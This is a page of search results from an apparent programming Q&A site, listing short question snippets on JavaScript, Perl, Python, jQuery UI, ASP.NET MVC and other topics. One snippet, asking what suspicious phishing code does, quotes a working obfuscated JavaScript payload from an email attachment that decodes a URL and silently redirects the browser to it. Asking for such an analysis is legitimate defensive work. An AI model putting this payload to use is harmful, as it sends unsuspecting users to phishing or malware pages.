Search Results

Search found 1446 results on 58 pages for 'prototype stark'.

Page 39/58 | < Previous Page | 35 36 37 38 39 40 41 42 43 44 45 46  | Next Page >

  • How to find the right balance between "quick & dirty" and "nice & general" code?

    - by Frank
    This is not a direct programming question, but a little help from the programming community would be appreciated. I am suffering from an overgeneralization disease. I can't stop spending valuable time with making my code most general and abstract. I could also call it the toolkit/library disease. I tend to turn every programming task into a general problem and try to "write a toolkit", that would work for many similar problems. I know it's a good thing in general, if there is enough time, but sometimes I should be writing a quick prototype and just can't seem to write the quick and dirty code that just works for the special case. I often get excited about an idea that makes the code more general and user-configurable and understimate the time it takes to actually implement it that way. Does anyone else have this experience? How can I force myself to find the right balance between "quick hack" and "nice solution"?

    Read the article

  • Javascript draw dynamic line

    - by Ranch
    Hello, I'm looking for Javascript code for letting the user draw a line (on an image). Just as the line tool in Photoshop (for example): The user clicks on the image, drags the mouse (while the line between the start point and the mouse point is dynamically drawn on mouse drag). I would also need a callable function to send the page the start and end coordinates. I've found this very nice script for area selection: http://www.defusion.org.uk/code/javascript-image-cropper-ui-using-prototype-scriptaculous/ and I've found many script for drawing lines (and other shapes in JS), but could not find what I'm looking for. Thanks

    Read the article

  • How can I use Moose with Test::Class?

    - by rassie
    I'm currently refactoring a test suite built up by a colleague and would like to use Test::Class[::Most] while doing so. As I started I figured out I could really use a couple of Moose roles to decouple code a little bit. However, it seems it's not quite possible -- I'm getting error messages like this one: Prototype mismatch: sub My::Test::Class::Base::blessed: none vs ($) at /usr/lib/perl5/vendor_perl/5.8.8/Sub/Exporter.pm line 896 So the question is: can I use Moose together with Test::Class and if so, how? PS: The code goes like this: package My::Test::Class::Base; use Moose; use Test::Class::Most; with 'My::Cool::Role'; has attr => ( ... );

    Read the article

  • Python "draw() must be called with Label instance as first argument (got _WindowMetaclass instance i

    - by Amorack
    This is a class I made using Python with pyglet to display a window. class Window(pyglet.window.Window): def __init__(self): super(Window, self).__init__() pyglet.text.Label("Prototype") windowText = text.Label.draw(Window, "Hello World", font_name = "Times New Roman", font_size = 36, color = (193, 205, 193, 255)) def on_draw(self): self.clear() self.label.draw() Every time I try to run it I get the error "TypeError: unbound method draw() must be called with Label instance as first argument (got _WindowMetaclass instance instead)". I'm pretty sure I know what I have to do (find how to get Label's instance) just not how to do it. Could someone help me understand how to make this work?

    Read the article

  • Project roles discovery

    - by Lirik
    I have a school project in which we're going to write a financial engine prototype by a group of 4 people. Most of us have never met each other before, so I'm trying to create a questionnaire to help us find the appropriate roles for each team-member. We have the following responsibilities: Database design Programming User interface design Training Documentation / technical writing Network design Project management Business analysis Testing And we have the following roles: Project Manager Developer Tester Business Analyst Our group has people with various experience: a full-time graduate student, an associate director at the CME (Chicago Mercantile Exchange), full-time professionals, etc. Do any of you know of any tools that would help build a questionnaire or do you have a reference to an online questionnaire that can help us identify the most suitable role(s) for each team member?

    Read the article

  • A/UX cc compiler errors on trivial code: "declared argument argc is missing"

    - by Fzn
    On a quite ancient UNIX (Apple A/UX 3.0.1 for 680x0 processors) using the built-in c compiler (cc), this issue arrises. Here is the code I'm trying to compile: #include <stdlib.h> #include <stdio.h> int main() int argc; char **argv; { if (argc > 1) puts(argv[1]); return (EXIT_SUCCESS); } And here is the output I get: pigeonz.root # cc -c test.c "test.c", line 5: declared argument argc is missing "test.c", line 6: declared argument argv is missing Using a more modern prototype did not help, nor did the manual page, nor a quick google search. What am I doing wrong?

    Read the article

  • get the response of a jquery ajax call as an input parameter of another function:

    - by Nauman Bashir
    Hello, Is it possible to make a jquery ajax call, and get the response as an input parameter of another function: here is an example, i have the following function call at a location: updateTips(validationTextObject,objUsers.fetchAvailable()); the objUsers.fetchAvailable() function makes a ajax call to the server. The callback function on successful call would be something like this. It is being used to process the result BHUsers.prototype.recvAvailable= function(response){ // some kind of processing over here return (response["status"] == "OK")? "Available" : "Not Available"; } I want that fuction to return the processed result which can be used as a parameter to the function updateTips The primary goal of this is to be able to do all of this for multiple scenarios, rather than writing multiple functions for the same call. Also i want the calling and the response processing functions to just do what they are doing. I dont want to add html objects into it. Any Clues?

    Read the article

  • Rails date/time picker (hopefully jquery)

    - by user219222
    Looking for a date and datetime picker that will integrate fairly seamlessly with Rails. I'm sure some people must be using something similar. I have tried the unobtrusive date picker plugin but it breaks with the latest release of Rails. calendar date select plugin uses prototype which I have removed from my app and don't want to add back. active calendar plugin - broken with latest Rails and hacked to fix but doesn't fill out the text fields when a model is loaded. Thanks very much.

    Read the article

  • Is JavaScript 's "new" Keyword Considered Harmful?

    - by Pablo Fernandez
    In another question, a user pointed out that the new keyword was dangerous to use and proposed a solution to object creation that did not use new... I didn't believe that was true, mostly because I've used Prototype, Scriptaculous and other excellent JavaScript libraries, and everyone of them used the new keyword... In spite of that, yesterday I was watching Douglas Crockford's talk at YUI theater and he said the exactly same thing, that he didn't use the new keyword anymore in his code. Is it 'bad' to use the new keyword? what are the advantages and disadvantages of using it?

    Read the article

  • How do i start with Gomoku?

    - by firstTry
    I read about Gomoku that it can be implemented using Minimax and Alpha-Beta Pruning algorithms. So, i read these algorithms and now understand how the game will be solved. But when i sat to down to code, I am facing problem how to approach it. As in , How to design the prototype functions like getNextMove or Max(Move) ? How will the next move searched? Till when should i apply the minimax algorithm. I know i can find the code online, but i want to do it myself. Can anyone please point me in the right direction?

    Read the article

  • Quickest and easiest way to implement speech to text conversion for a small speech subset.

    - by sgtpeppers
    Hi, I want to implement a system that receives speech through a microphone on my Mac OS x. I know arbitrary speech recognition is close to impossible without training the system so I'm willing to restrict it to 10 simple sentences. It must recognize with a high degree of accuracy which of these 10 sentences are being spoken, generate the text and add an entry to a remote MySQL database. With these being the architecture of the system I want to implement, could anyone give me an overview of what would be the best way to go about implementing this system? I'm looking for ideas like open source libraries to minimize the coding as this is just a prototype application for a demonstration. Basically I'm looking for a quick and easy solution. Thanks!

    Read the article

  • Mixin or Trait implementation in AS3?

    - by Brian Heylin
    I'm looking for ideas on how to implement a Mixin/Trait style system in AS3. I want to be able to compose a number of classes together into a single object. Of course this is not a language level feature of AS3, but I'm hoping that there is maybe some way to do this using prototype based techniques or maybe some bytecode hacking that I believe AsMock uses to implement it's functionality. An existing Java example is Qi4J where the user define interfaces that the Qi4j framework implements based on metadata tags and coding by convention. Has anyone any ideas on how to get the Mixin/Trait concept working within AS3?

    Read the article

  • How can I use Moose with Test::Class?

    - by rassie
    I'm currently refactoring a test suite built up by a colleague and would like to use Test::Class[::Most] while doing so. As I started I figured out I could really use a couple of Moose roles to decouple code a little bit. However, it seems it's not quite possible -- I'm getting error messages like this one: Prototype mismatch: sub My::Test::Class::Base::blessed: none vs ($) at /usr/lib/perl5/vendor_perl/5.8.8/Sub/Exporter.pm line 896 So the question is: can I use Moose together with Test::Class and if so, how? PS: The code goes like this: package My::Test::Class::Base; use Moose; use Test::Class::Most; with 'My::Cool::Role'; has attr => ( ... );

    Read the article

  • Storyboard elements are not sized properly on the device

    - by Joel Fischer
    In the storyboard, I am placing a table view element into a subclassed UIView. The element is not appearing on the iPad device I am running it on the same as it appears in the storyboard however. This also happens for additional content that I place into the storyboard. Below is a screenshot as it appears in the storyboard, as well as UI width/height information. And here is the description of the UI file running on the iPad. https://gist.github.com/4323186 (embedding it directly into the post is giving me problems) You'll notice that the tableview is explicitly set at 178 width, and is showing up in the description as 276 width. My initial thought was that perhaps a cell was forcing the parent to be larger (I'm very new to iOS UI development), but drilling into that shows the prototype cell it appears that the width is defined by it's parent at 178. The image views and label also are appearing in the incorrect spot, as shown in the second image below.

    Read the article

  • Is it possible to implement X-HTTP-Method-Override in ASP.NET MVC?

    - by Greg Beech
    I'm implementing a prototype of a RESTful API using ASP.NET MVC and apart from the odd bug here and there I've achieve all the requirements I set out at the start, apart from callers being able to use the X-HTTP-Method-Override custom header to override the HTTP method. What I'd like is that the following request... GET /someresource/123 HTTP/1.1 X-HTTP-Method-Override: DELETE ...would be dispatched to my controller method that implements the DELETE functionality rather than the GET functionality for that action (assuming that there are multiple methods implementing the action, and that they are marked with different [AcceptVerbs] attributes). So, given the following two methods, I would like the above request to be dispatched to the second one: [ActionName("someresource")] [AcceptVerbs(HttpVerbs.Get)] public ActionResult GetSomeResource(int id) { /* ... */ } [ActionName("someresource")] [AcceptVerbs(HttpVerbs.Delete)] public ActionResult DeleteSomeResource(int id) { /* ... */ } Does anybody know if this is possible? And how much work would it be to do so...?

    Read the article

  • What does this suspicious phishing code do?

    - by halohunter
    A few of my non-IT coworkers opened a .html attachment in an email message that looks extremely suspicious. It resulted in a blank screen when it appears that some javascript code was run. <script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> What did it do? It's beyond the scope of my programming knowledge.

    Read the article

  • Refering to javascript instance methods with a pound/hash sign

    - by Josh
    This question is similar to http://stackoverflow.com/questions/736120/why-are-methods-in-ruby-documentation-preceded-by-a-pound-sign I understand why in Ruby instance methods are proceeded with a pound sign, helping to differentiate talking about SomeClass#someMethod from SomeObject.someMethod and allowing rdoc to work. And I understand that the authors of PrototypeJS admire Ruby (with good reason) and so they use the hash mark convention in their documentation. My question is: is this a standard practice amongst JavaScript developers or is it just Prototype developers who do this? Asked another way, is it proepr for me to refer to instance methods in comments/documentation as SomeClass#someMethod? Or should my documentation refer to `SomeClass.someMethod?

    Read the article

  • Video not playing in IE in hidden div using JW Player, SWFObject and FancyZoom

    - by lgomez
    Hi all, I have a video that is meant to start playing when a user clicks on an image and said image opens a FancyZoom overlay. It works fine in every browser except IEs. If I place the video in a div that is not hidden (display:none actually), the video starts as expected. So it seems there is a problem with either Flash, JW Player, SWFObject or any combination of these when trying to load a video in a hidden div. Anyone know any workarounds? I tried modifying the FancyZoom library (see my fork: http://github.com/lgomez/fancy-zoom/blob/master/prototype/js/fancyzoom.js) so I could use a callback to inject the video AFTER the zoom effect was completed but that did'n work. Thanks!

    Read the article

  • linker error in simple program: multiple definition of function

    - by BillyJean
    My function test is added to two different .cpp-files and the functions are private to their respective files as shown below test1.cpp #include <iostream> using namespace std; void test() { cout << "test" << endl; } test2.cpp #include <iostream> using namespace std; void test() { cout << "test" << endl; } main.cpp #include <iostream> using namespace std; int main() { return 0; } During linking I get the error multiple definition of test() - but how is that possible, considering that the two files have their own private scope!? I could understand it if I included the function prototype in each .cpp-files' corresponding header, but there is no such thing in this example.

    Read the article

  • Global Timer in Javascript with Multiple Callbacks

    - by Mike Beepo
    I want to create a global timer object in javascript and then be able to add callbacks to it on the fly. This way I can just use one global timer in my script to execute all actions at a certain interval rather than wasting resources by using multiples. This is how I want to be able to piece things together: var timer = new function() { clearInterval( this.interval ); //[1] At this point I want the Callbacks to be run var self = this; setTimeout(function() {self.timer()}, 200); } function otherObject = new function() { //When created I want to bind my object's function called cb to the global timer at [1] } otherObject.prototype.cb = function() { //Stuff that should be done every time the timer is run } var someObject = new otherObject(); How would I make it possible bind any number functions (most of which are functions within other objects) to run at the interval of my timer on the fly?

    Read the article

  • How to subclass a specific jqueryui widget method ?

    - by SBUJOLD
    Since I updated jQueryUI to 1.8 I found a couple of issues in our implementations and I could fix it myself without waiting for a fix on their end if I could find out how to subclass a specific method of the datepicker widget so I call the parent code and then execute my code. I was reading on $.widget but I just can't wrap my head around how that is suppose to work. I tried something like this: $.widget("ui.datepicker", { _showDatepicker: function(input) { alert('Yo'); $.datepicker.prototype._showDatepicker.apply(this,arguments); alert('Hey!'); } }); And all sorts of other variations and beging to think I just don't understand the 'extendability' of jQueryUI or it just can't be done. Anybody knows how I can achieve this ? Thx

    Read the article

  • Unable to commit to Subversion

    - by Ewan Makepeace
    I have a client who had to rebuild his automated build server. He checked out his project folder from my subversion server but is now no longer able to commit - he gets this error: Error: Commit failed (details follow): Error: Cannot write to the prototype revision file of transaction '551-1' because a Error: previous representation is currently being written by another process Finished!: I have searched Google but although this error has been often reported there is no clear explanation - does anyone on StackOverflow have a solution? UPDATE: Nobody else commits to that repository, so it was not a transaction stuck (at least not from another user). In the end we found that permissions were not set correctly. Not that you would know it from this message, but that fixed the problem.

    Read the article

  • How does void QTableWidget::setItemPrototype ( const QTableWidgetItem * item ) clones objects?

    - by chappar
    QTableWidget::setItemPrototype says following. "The table widget will use the item prototype clone function when it needs to create a new table item. For example when the user is editing in an empty cell. This is useful when you have a QTableWidgetItem subclass and want to make sure that QTableWidget creates instances of your subclass." How does this actually work as you can pass any of the QTableWidgetItem subclass pointer to setItemPrototype and at run time there is no way you can get the size of an object having just pointer to it?

    Read the article

  • Building a Hashtag in Javascript without matching Anchor Names, BBCode or Escaped Characters

    - by Martindale
    I would like to convert any instances of a hashtag in a String into a linked URL: #hashtag - should have "#hashtag" linked. This is a #hashtag - should have "#hashtag" linked. This is a [url=http://www.mysite.com/#name]named anchor[/url] - should not be linked. This isn&#39;t a pretty way to use quotes - should not be linked. Here is my current code: String.prototype.parseHashtag = function() { return this.replace(/[^&][#]+[A-Za-z0-9-_]+(?!])/, function(t) { var tag = t.replace("#","") return t.link("http://www.mysite.com/tag/"+tag); }); }; Currently, this appears to fix escaped characters (by excluding matches with the amperstand), handles named anchors, but it doesn't link the #hashtag if it's the first thing in the message, and it seems to grab include the 1-2 characters prior to the "#" in the link. Halp!

    Read the article

  • ASP.NET MVC AuthorizeAttribute passing values to ActionMethod?

    - by subskii
    Hi everyone I'm only a newcomer to ASP.NET MVC and am not sure how to achieve a certain task the "right way". Essentially, I store the logged in userId in HttpContext.User.Identity and have written an EnhancedAuthorizeAttribute to perform some custom authorization. In the overriden OnAuthorization method, my domain model hits the database to ensure the current user id can access the passed in routeValue "BatchCode". The prototype is: ReviewGroup GetReviewGroupFromBatchCode(string batchCode); It will return null if the user can't access the ReviewGroup and the OnAuthorization then denies access. Now, I know the decorated action method will only get executed if OnAuthorization passes, but I don't want to hit the database a second time to get the ReviewGroup again. I am thinking of storing the ReviewGroup in HttpContext.Items["reviewGroup"] and accessing this from the controller at the moment. Is this a feasible solution, or am I on the wrong path? Thanks!

    Read the article

< Previous Page | 35 36 37 38 39 40 41 42 43 44 45 46  | Next Page >